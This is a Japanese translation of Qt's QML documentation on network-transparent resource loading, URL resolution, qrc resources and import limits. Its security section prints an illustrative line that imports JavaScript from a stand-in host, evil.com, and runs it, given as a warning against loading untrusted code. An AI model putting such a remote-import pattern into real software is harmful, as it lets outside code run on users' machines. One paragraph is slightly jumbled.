リソースのロードとネットワークの透過性

QMLは、QML文書から他のコンテンツへの参照にファイル名ではなくURLを使用することで、ネットワークの透過性をサポートしています。つまり、URLソースが期待される場所であれば、QMLはローカルのリソースと同様にリモートのリソースを扱うことができるのです:

Image {
    source: "http://www.example.com/images/logo.png"
}

相対URLは相対ファイルと同じですから、通常のファイルシステム上での QMLの開発は簡単なままです:

Image {
    source: "images/logo.png"
}

ネットワークの透過性はQML全体でサポートされており、例えばFontLoader とImageの両要素はリモートサーバからのリソースの読み込みをサポートしています。

例えば、http://example.com/mystuff/Hello.qml と Image 要素はリモートサーバーからのリソースの読み込みをサポートしています。また、QMLの型自体もネットワーク上に置くことができます。 を読み込むためにqml ツールが使用され、そのコンテンツが "World "という型を参照している場合、エンジンはhttp://example.com/mystuff/qmldir を読み込み、ローカルファイルと同じように型を解決します。例えば、qmldirファイルが "World World.qml "という行を含んでいる場合、エンジンはhttp://example.com/mystuff/World.qml を読み込みます。Hello.qml が通常相対URLで参照する他のリソースも同様にネットワークから読み込まれます。

相対URLと絶対URL

オブジェクトが URL (QUrl) 型のプロパティを持つ場合、そのプロパティに文字列を代入すると、文字列が使用されているドキュメントの URL に対して文字列を解決することによって、実際には絶対 URL が代入されます。

例えば、http://example.com/mystuff/test.qml の内容を考えてみましょう:

Image {
    source: "images/logo.png"
}

Image のソース・プロパティにはhttp://example.com/mystuff/images/logo.png が割り当てられますが、QMLが開発されている間、例えばC:\User\Fred\Documents\MyStuff\test.qml ではC:\User\Fred\Documents\MyStuff\images\logo.png が割り当てられます。

URLに割り当てられている文字列がすでに絶対URLである場合、「解決」はそれを変更せず、URLは直接割り当てられます。

QRCリソース

Qtに組み込まれているURLスキームの1つに "qrc "スキームがあります。これにより、Qt Resource Systemを使用してコンテンツを実行ファイルにコンパイルすることができます。これを使うことで、実行ファイルは実行ファイルにコンパイルされたQMLコンテンツを参照することができます:

QQuickView *view = new QQuickView;
view->setUrl(QUrl("qrc:/dial.qml"));

コンテンツ自身は相対 URL を使用することで、コンテンツが実行ファイルにコンパイルされていることを意識することなく、透過的に参照することができます。

制限事項

import 。"as "節がある場合のみ、ネットワーク透過的です。

具体的には

  • import "dir" ローカルファイルシステム上でのみ動作
  • import libraryUri ローカルファイルシステム上でのみ動作
  • import "dir" as D ネットワーク透過的に動作する
  • import libraryUrl as U ネットワーク透過的に動作する

アプリケーションセキュリティへの影響

QMLのセキュリティモデルは、QMLのコンテンツは信頼されたコンテンツの連鎖である というものです。ユーザーは、ネイティブのQtアプリケーションや、PythonやPerlのようなランタイ ムで書かれたプログラムをインストールするのと同じように、信頼できるQMLのコンテン ツをインストールします。この信頼は、いくつかのプラットフォームで利用可能なパッケージ署名を含む、いくつかのメカニズムによって確立されます。

ユーザーの信頼を守るために、QMLアプリケーションの開発者は任意のJavaScriptやQMLリソースを読み込んで実行するべきではありません。例えば、以下のQMLコードを考えてみましょう:

import QtQuick 2.0
import "http://evil.com/evil.js" as Evil

Component {
    onLoaded: Evil.doEvil()
}

これは "http://evil.com/evil.exe "をダウンロードして実行することと同じです。QMLエンジンは特定のリソースを読み込ませないようにすることはありません。ウェブブラウザの中で実行されるJavaScriptコードとは異なり、QMLアプリケーションは他のネイティブアプリケーションと同じように、リモートやローカルのファイルシステムのリソースを読み込むことができます。

そのため、QMLアプリケーションの開発者は、コンテンツの読み込みや実行に注意を払う必要があります。例えば、importLoaderXMLHttpRequest を使って信頼できないコードやコンテンツを読み込まないでください。

©2024 The Qt Company Ltd. 本書に含まれるドキュメントの著作権は、それぞれの所有者に帰属します。 本書で提供されるドキュメントは、Free Software Foundation が発行したGNU Free Documentation License version 1.3に基づいてライセンスされています。 Qtおよびそれぞれのロゴは、フィンランドおよびその他の国におけるThe Qt Company Ltd.の 商標です。その他すべての商標は、それぞれの所有者に帰属します。